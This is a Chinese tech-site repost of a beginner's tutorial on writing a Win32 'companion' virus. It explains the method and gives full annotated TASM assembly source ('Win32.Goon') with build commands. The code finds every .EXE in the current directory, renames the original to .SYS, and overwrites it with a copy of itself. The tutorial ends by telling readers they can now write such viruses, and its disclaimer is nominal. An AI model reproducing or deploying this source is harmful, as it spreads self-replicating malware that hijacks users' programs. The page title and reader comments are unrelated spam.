b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

schedule启动后停止_pathgetargs_getcommandlinea

电脑杂谈  发布时间:2017-01-24 21:17:49  来源:网络整理

朋友们好,今天我在29A#6中读到了Benny写的一篇文章。getcommandlinea它题目是“病毒界的现状”。我对此进行了思考,而后我决然写这篇教程!因为我想通过这个教程分享我所有的病毒知识。这个教程并不适于了解了本文所述更多内容更多的朋友,但对于初学者和新手(像我)来说本文有益。是的,希望如此!当我的知识水平更进一步(下一步学习PE)后,我会写下全部所懂与大家分享。现在,教程开始,希望它对你有所帮助并能坚持看完它!

【声明:文中代码仅供参考,请勿用于不当之处!】

1.什么是伴侣病毒

伴侣病毒不改变宿主程序的代码,也没有添加代码,挂起或者其他任何动作。它仅仅是重命名宿主程序,然后把自己复制为宿主程序原来的文件名。当你运行程序时,病毒会首先运行,当它所有工作完成,才接着运行宿主程序。你可以把宿主和病毒两者的文件名都重命名回原先的文件名,这样宿主程序就能恢复正常。下面给出的原理图。

第一步:

/------------- /-----------

| | | |

| Program.EXE | ;目标文件的 | Virus.EXE | ;我们必须了解病毒文件中的

| | ;原先文件名 | | ;API函数: GetCommandLineA

-------------/ -----------/

第二步:

/------------- /-----------

| | | |

| Program.EXE | | Virus.EXE |

| | | |

-------------/ -----------/

|

|

复制为

|

|

/-------------

| |

| Program.SYS |

| |

-------------/

第三步:

/------------- /-----------

| | | |

| Program.EXE |<---------复制为-----------| Virus.EXE |

| | | |

-------------/ -----------/

恢复方法:

删除Program.EXE,把Program.SYS重命名回Program.EXE,所做就这些了。

2.伴侣病毒如何工作的

(1) 获取病毒文件的文件名

(2)创建宿主文件的原先文件名

(3)在当前目录搜索到第一个文件

(4)将目标文件复制为另一个文件名

(5)把病毒文件复制为目标文件的原先文件名

(6)搜索下一个文件->重复(4) -->没有其他文件 跳到7.

(7)运行宿主程序 (经过了步骤2)

(8)病毒退出

3.带注释的病毒例子

理论够充足了,让我们看它怎么工作。编译方法:

TASM32 /z /ml /m3 Goon,,; TLINK32 -Tpe -c Goon,Goon,, import,lib;-----cut----------------------------------------Goon.asm-------------------.386;386指令集 .model flat ;内存平坦模式 jumps;TASM rulez;+++++ ; 你能理解,我想 :) ;+++++extrn GetCommandLineA :PROC ;获取病毒文件和宿主文件 extrn lstrcpyA :PROC ;复制字符串 extrn FindFirstFileA :PROC ;搜索当前目录第一个匹配的文件 extrn FindNextFileA :PROC ;通过文件句柄搜索下一个文件 extrn CopyFileA :PROC ;复制文件 (往上看 _2_) extrn CreateProcessA :PROC ;运行宿主 extrn ExitProcess :PROC ;退出病毒程序;+++++ ; 这里,我们声明必需的API函数 ; 我想你能理解 ;+++++.data Goon db ’Win32.Goon - Virus’,0db ’Only a Example Code’,0db ’by DiA/auXnet’,0FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDSWIN32_FIND_DATAlabel byte WFD_dwFileAttributes dd? WFD_ftCreationTimeFILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTimeFILETIME ? WFD_nFileSizeHighdd? WFD_nFileSizeLowdd? WFD_dwReserved0dd? WFD_dwReserved1dd? WFD_szFileNamedb260d dup (?) WFD_szAlternateFileName db13 dup (?) WFD_szAlternateEnding db03 dup (?);+++++ ; 这是 Win32 Find data: ; 这里保存关于目标文件的所有数据 ; 我们仅仅对包含目标文件的名称的"WFD_szFileName" ; 记住我们必须复制目标文件成另外一个文件名, ; 而把病毒复制成目标文件最先的文件名 ;+++++VirusFile db 260d dup (0) HostFile db 260d dup (0) HostCopy db 260d dup (0);+++++ ; 这里创建文件名的空间:病毒文件名,宿主文件名, ; 还有我们必须创建的文件名(从目标文件复制) ;+++++FileMask db ’*.EXE’,0 FindHandle dd 0 ProcessInfo dd 4 dup (0) StartupInfo dd 4 dup (0);+++++ ; 包含我们必须搜索的文件 ; FileHandle 包含搜索的文件的句柄 (FindNextFileA) ; ProcessInfo and StartupInfo 仅仅是为了运行宿主 (不重要) ;+++++.code start:;+++++ ; ROCK ’N ROLL =) ;+++++call GetCommandLineA;+++++ ; 这里我们获取包含正在运行的程序文件名的CommandLine ; (病毒文件 :). 现在,line 在eax了, 看下一步... ;+++++inc eax; **** da " push eax push offset VirusFile call lstrcpyA ;复制它;+++++ ; 为什么要’inc eax’??? ; 因为CommandLine类似这样:"C:LUCIHELL.EXE" (包含 ") ; 我们不能运行,复制带有"的程序,所以我们走到前面一个地方 ; 它从eax复制到VirusFile ;+++++mov esi,offset VirusFile ;now in esi call GetPoint ;call a kewl procedure ;);+++++ ; we must find da point to **** the other " ; 让我们看看... ;+++++mov dword ptr [esi+4],00000000d ;清除它;+++++ ; 我们走到.EXE后面并清除"号 ; ->现在我们得到完整funcional VirusFile ;+++++push offset VirusFile push offset HostFile call lstrcpyA;+++++ ; 把文件名复制到HostFile, 这样我们可以改变它并得到真的Host文件名 (.SYS) ; ... ;+++++mov esi,offset HostFile call GetPoint;+++++ ; 得到指针... ;+++++mov dword ptr [esi],5359532Eh ;5359532Eh = ’SYS.’;+++++ ; 把它重命名为 .SYS (last 4 letters with point) ; 现在我们得到HostFile, 可能运行宿主... ; ...但是等等! 我们必须感染文件!!! ;+++++push offset WIN32_FIND_DATA push offset FileMask call FindFirstFileA mov dword ptr [FindHandle],eax ;保存句柄;+++++ ; 如果你不懂WIN32_FIND_DATA and FileMask,请往上看... ; Call后Find Handle保存在eax中, FindNextFileA还要用到,我们保存它... ;+++++FindNext: test eax,eax ;还有文件? jz RunHost ;如果没有就跳到RunHost;+++++ ; 当eax是null,说明当前目录里没有更多的文件可以被感染了 ; 所有的文件都感染后就运行宿主 ;+++++push offset WFD_szFileName push offset HostCopy call lstrcpyA;+++++ ; 得制 WFD_szFileName 到 HostCopy 来重命名和复制它 ;+++++mov esi,offset HostCopy call GetPoint;+++++ ; 得到指针来重命名文件名为.SYS ; 稍后使用它复制原先的文件为宿主文件 ;+++++mov dword ptr [esi],5359532Eh ; SYS.;+++++ ; 把它重命名为 .SYS (last 4 letters) ; 现在我们做所以工作完成感染目标文件: ; 病毒文件名 ; 原先文件名 ; 重命名目标文件名 ; rock ’n roll =) ;+++++push 1;如果文件已存在就不复制 push offset HostCopy push offset WFD_szFileName call CopyFileA;+++++ ; 现在我们复制.EXE文件为.EXE文件,宿主文件在.sys ; 如果文件已经存在,我们就不要复制它,我们不能复制它两次 ;+++++push 0;无条件复制 push offset WFD_szFileName push offset VirusFile call CopyFileA;+++++ ; 我们复制病毒为目标.EXE文件 ; 无条件复制,因为我们不能有两个宿主而没有病毒 ;+++++push offset WIN32_FIND_DATA push dword ptr [FindHandle] call FindNextFileA jmp FindNext;+++++ ; 你还记得我们保存FindHandle吧... ; 我们搜索更多的文件! ; 跳到FindNext并检查更多的文件 ;+++++RunHost: xor eax,eax ;null push offset ProcessInfo ;这个,我们不感兴趣 push offset StartupInfo ;... push eax push eax push 00000010h ;创建进程 push eax push eax push eax push offset HostFile push offset HostFile ;运行它 call CreateProcessA;+++++ ; 记住我们重命名病文件为宿主文件(.SYS), 现在我们通过这个名运行 ;+++++push 0 call ExitProcess;+++++ ; 所有这些做完,我们把控制交给宿主 ;+++++GetPoint: cmp byte ptr [esi],’.’ ;point? jz FoundPoint ;je return inc esi;scan next place jmp GetPoint FoundPoint: ret;return;+++++ ; at last the GetPoint procedure... ; scan for ’.’ and if found return to place where are called ;+++++end start;+++++ ; 晚安 ;+++++;-----cut------------------------------------------------------------

4.结束语

嗯,教程完毕,现在你可以写Win32伴侣病毒了。getcommandlinea向Benny/29A表示致谢,是你用杰出的文章激发我写下这篇教程。


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-28580-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      • 张永涛
        张永涛

        随着排水量达12000吨的055型驱逐舰的建造服役

      • 牛巧芬
        牛巧芬

        放个屁都有道理

      热点图片
      拼命载入中...